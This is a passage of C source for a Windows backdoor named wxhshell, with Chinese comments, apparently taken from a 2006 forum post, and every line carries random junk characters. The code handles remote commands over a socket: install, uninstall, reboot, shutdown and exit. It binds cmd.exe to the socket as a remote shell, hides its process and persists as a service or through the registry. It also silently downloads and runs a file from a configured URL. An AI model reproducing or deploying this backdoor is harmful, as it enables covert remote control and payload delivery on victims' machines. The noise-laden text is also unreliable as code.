      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lfC]!=2%~8  
    break; <?!'  
  } n9J{f"`m  
  // 安装 4`:POu&  
  case 'i': { wJq$yqos{  
    if(Install()) Tt{z_gU6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); </xf4.C  
    else R@tEC)Zn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;A7JX:*?y=  
    break; m9:ah<  
    } SvvNk  
  // 卸载 w <"mS*Q  
  case 'r': { &$_!S!Sa/  
    if(Uninstall()) +By'6?22  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wik<# ke  
    else oS9Od8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ @xPoD&  
    break; .n YlYY'   
    } Y&Fg2_\">  
  // 显示 wxhshell 所在路径 H7;, Kr  
  case 'p': { Y2.zT6i  
    char svExeFile[MAX_PATH]; eXK3W2XF  
    strcpy(svExeFile,"\n\r"); .f-=gZ* *  
      strcat(svExeFile,ExeFile); ?#Z4Dg 9|  
        send(wsh,svExeFile,strlen(svExeFile),0); \ ya@9OA  
    break; |#Lz0<c;  
    } p?cc Bq  
  // 重启 g9VY{[ V  
  case 'b': { g\.$4N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,3f>-mP  
    if(Boot(REBOOT)) ku]?"{Xx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); URbB2 Bi  
    else { Jx}-Y* o  
    closesocket(wsh); j_<!y(W  
    ExitThread(0); ysIhUpd  
    } R"P-+T=7M  
    break; R*lq7n9  
    } '&Y_,-i  
  // 关机 Fc\]*  
  case 'd': { FE,mUpHIR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?jlz:Z4  
    if(Boot(SHUTDOWN)) OM\1TD/-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-gO  
    else { {dpDQP +!  
    closesocket(wsh); "zd_eC5  
    ExitThread(0); {en'8kS  
    } HSRO gBNI:  
    break; HNBmq>XDc  
    } &b5(Su  
  // 获取shell 0^o/c SF  
  case 's': { jED.0,+K !  
    CmdShell(wsh); ;e5PoLc  
    closesocket(wsh); T~Bj],k_  
    ExitThread(0); u4SL:IH{D  
    break; EUcD[Rv  
  } BPt? 3tC  
  // 退出 1Pw1TO"Z  
  case 'x': { oU\7%gQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Q=^X3to  
    CloseIt(wsh); Q#H"Se  
    break;  w0=  
    } \#dacQ2E@  
  // 离开 jLVD37 P^  
  case 'q': { =%IyR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Nn+7z<*&z  
    closesocket(wsh); |H_WY#  
    WSACleanup(); n^ fUKi*;  
    exit(1); N=2T~M 1  
    break; C,l,fT  
        } =tt3nfZ9  
  } hd9HM5{p  
  } ztSQrDbbb4  
(M$>*O3SR  
  // 提示信息 HV/:OCK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^OWG9`p+  
} h`1<+1J9  
  } Fl=H5HR  
UiH7  
  return; @g5y_G{SP  
} a6DR' BC  
xLoQ0rt 6  
// shell模块句柄 X7L:cVBg  
int CmdShell(SOCKET sock) [I4M K%YQ  
{ ?=&S?p)-<  
STARTUPINFO si; vFR *3$ R  
ZeroMemory(&si,sizeof(si)); qq&U)-`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H@xS<=:lM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sf*v#?  
PROCESS_INFORMATION ProcessInfo; 13 #ff  
char cmdline[]="cmd"; \'j(@b,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S5TVfV5LI  
  return 0; ? F #&F  
} <YFDS;b|  
U0j>u*yE  
// 自身启动模式 NC-K`)  
int StartFromService(void) _`\!+qGq  
{ YWH>tt 9  
typedef struct ;NRh0)%|o  
{ PJN9[Y{^3  
  DWORD ExitStatus; B1nm?E 0i  
  DWORD PebBaseAddress; C&w0HoF  
  DWORD AffinityMask; &F~d~;G"q  
  DWORD BasePriority; k"i3$^v8  
  ULONG UniqueProcessId; \vT~2Y(K  
  ULONG InheritedFromUniqueProcessId; z&d.YO_W  
}   PROCESS_BASIC_INFORMATION; iVZ}+Ct<"  
xE?KJ  
PROCNTQSIP NtQueryInformationProcess; zs#-E_^%M  
+X^GS^mz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W$zRUG-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xo'!$a}I2  
|@JTSz*Or  
  HANDLE             hProcess; { %X2K  
  PROCESS_BASIC_INFORMATION pbi; lF!PiL  
vNs%e/~vj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <<MpeMi  
  if(NULL == hInst ) return 0; gp`@dn';  
;(`bP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xE<H@@w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~-7/9$ay5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ex p ?x  
{\1bWr8!U  
  if (!NtQueryInformationProcess) return 0; hTn"/|_SW  
jerU[3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ie^Ed`  
  if(!hProcess) return 0; > U?\WgE$  
)9yQ C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6J,h}S  
T"Y#u  
  CloseHandle(hProcess); iLSUz j`  
)Ac,F6w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +S(# 7  
if(hProcess==NULL) return 0; 3/n?g7B  
?;W"=I*3  
HMODULE hMod; o[!o+M  
char procName[255]; .-rz30xT  
unsigned long cbNeeded; \T_ZcV  
f~mwDkf?L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m6e(Xk,)  
:P_h_Tizv  
  CloseHandle(hProcess); 8+oc4~!A@n  
7w) 8s  
if(strstr(procName,"services")) return 1; // 以服务启动 jD S\  
2T2<I/")O  
  return 0; // 注册表启动 G^)]FwTs  
} a^J(TW/  
,Lp"Ia  
// 主模块 }VJ>}i*  
int StartWxhshell(LPSTR lpCmdLine) ,g7O   
{ (]'wQ4iQ  
  SOCKET wsl; tB>!1}v  
BOOL val=TRUE; z]8Mv(eL  
  int port=0; s|<n7 =J  
  struct sockaddr_in door; Q;3`T7  
)m7%cyfC  
  if(wscfg.ws_autoins) Install(); x!GDS>  
g3kbsi7_:  
port=atoi(lpCmdLine); Gpxp8[ {  
Q"FN"uQ}x  
if(port<=0) port=wscfg.ws_port; ivo><"Y(r  
M 8WjqTq  
  WSADATA data; RG45S0Ygj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lF(v<drkB  
}kmAUaa,Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cF15Mm2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I*a@_EO  
  door.sin_family = AF_INET; #(614-r/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?fy37m(M}  
  door.sin_port = htons(port); k(H]ILL  
md{nHX&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K@1gK<,a  
closesocket(wsl); S&UP;oc  
return 1; 8X`DFeJ  
} ZUHW*U.  
@~hy'6/  
  if(listen(wsl,2) == INVALID_SOCKET) { n`Pl:L*kG  
closesocket(wsl); Q.B)?wm  
return 1; >WLX5i&  
} Xf&YcHo  
  Wxhshell(wsl); X:Z3R0  
  WSACleanup(); eWv:wNouk  
QoxYzln  
return 0; Wd;t(5Xl  
h623)C;  
} MS""-zn<  
%^lD  
// 以NT服务方式启动 tdRvg7v,N%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L3I$ K+c  
{ F*U(Wl=  
DWORD   status = 0; }b54O\,  
  DWORD   specificError = 0xfffffff; OlyW/hd  
~F-knEvL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F?2UHcs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UeFJ5n'x:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &l2xh~L  
  serviceStatus.dwWin32ExitCode     = 0; ?X|q   
  serviceStatus.dwServiceSpecificExitCode = 0; {ax]t-ZwJ5  
  serviceStatus.dwCheckPoint       = 0; r*b+kSh  
  serviceStatus.dwWaitHint       = 0; Fvk=6$d2  
%|H]T] s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }w4OCN\1  
  if (hServiceStatusHandle==0) return; )=GPhC/sw  
#^VZJ:2=|  
status = GetLastError(); @* vVc`;  
  if (status!=NO_ERROR) M2cGr  
{ i=<;$+tW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cu>(;=  
    serviceStatus.dwCheckPoint       = 0; }6a}8EyFP  
    serviceStatus.dwWaitHint       = 0; b EcN_7  
    serviceStatus.dwWin32ExitCode     = status; =!SV;^-q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1]''@oh{6U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ld.9.d]  
    return; nQV0I"f]?]  
  } $#f_p-N  
1#3|PA#>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6ZE`'pk<  
  serviceStatus.dwCheckPoint       = 0; =At" Q6-O  
  serviceStatus.dwWaitHint       = 0; %R?7u'=~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QErdjjg E  
} )lLeL#]FLO  
' 8)kFR^9  
// 处理NT服务事件,比如:启动、停止 8'@5X-nD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 15J"iN2"W  
{ Y910\h@V  
switch(fdwControl) yH" i5L9  
{ DQK?y=vf  
case SERVICE_CONTROL_STOP: [(Z(8{3i  
  serviceStatus.dwWin32ExitCode = 0; ^=^\=9" b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KJyCfMH&:@  
  serviceStatus.dwCheckPoint   = 0; Zfk]Z9YO  
  serviceStatus.dwWaitHint     = 0; 9Zd\6F,  
  { B0|W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QBGm)h?=  
  } (8m_GfT  
  return; *y?6m,38V  
case SERVICE_CONTROL_PAUSE: 0^S$_L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DcBAncsK  
  break; O0jOI3/P%  
case SERVICE_CONTROL_CONTINUE: stK}K-=`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0'6ai=W  
  break; v@QnS  
case SERVICE_CONTROL_INTERROGATE: MuMq%uDA"  
  break; &G_#=t&  
}; o#6QwbU25  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |HT7m5tu4  
} QB X EM=  
m2^vH+wD  
// 标准应用程序主函数 >x*[izr/K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9soEHG=P  
{ *7H *epUa  
roc DO8f  
// 获取操作系统版本 >m lQ@Z_O  
OsIsNt=GetOsVer(); E0RqY3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Ni]S$7  
Ojz'p5d`>  
  // 从命令行安装 3m75mny  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nzgi)xX0HX  
?xv."I%  
  // 下载执行文件 `w#VYs|k  
if(wscfg.ws_downexe) { nxV!mh_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OEaL2T  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6oLOA}q   
} )B $Q  
94&t0j_  
if(!OsIsNt) { .F$}a%  
// 如果时win9x,隐藏进程并且设置为注册表启动 U9T}iI  
HideProc();  'V^M+ng  
StartWxhshell(lpCmdLine); glCpA$;VPu  
} mW!n%f  
else ^G`6Zg;  
  if(StartFromService()) l4i 51S"  
  // 以服务方式启动 GdUsv  
  StartServiceCtrlDispatcher(DispatchTable); |dEPy- Xe  
else o_Z9\'u  
  // 普通方式启动 ZqrS]i@$  
  StartWxhshell(lpCmdLine); ,gNZHKNq  
8y6dT  
return 0; @"NP`#  
}
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只看该作者 1 发表于: 2006-10-10
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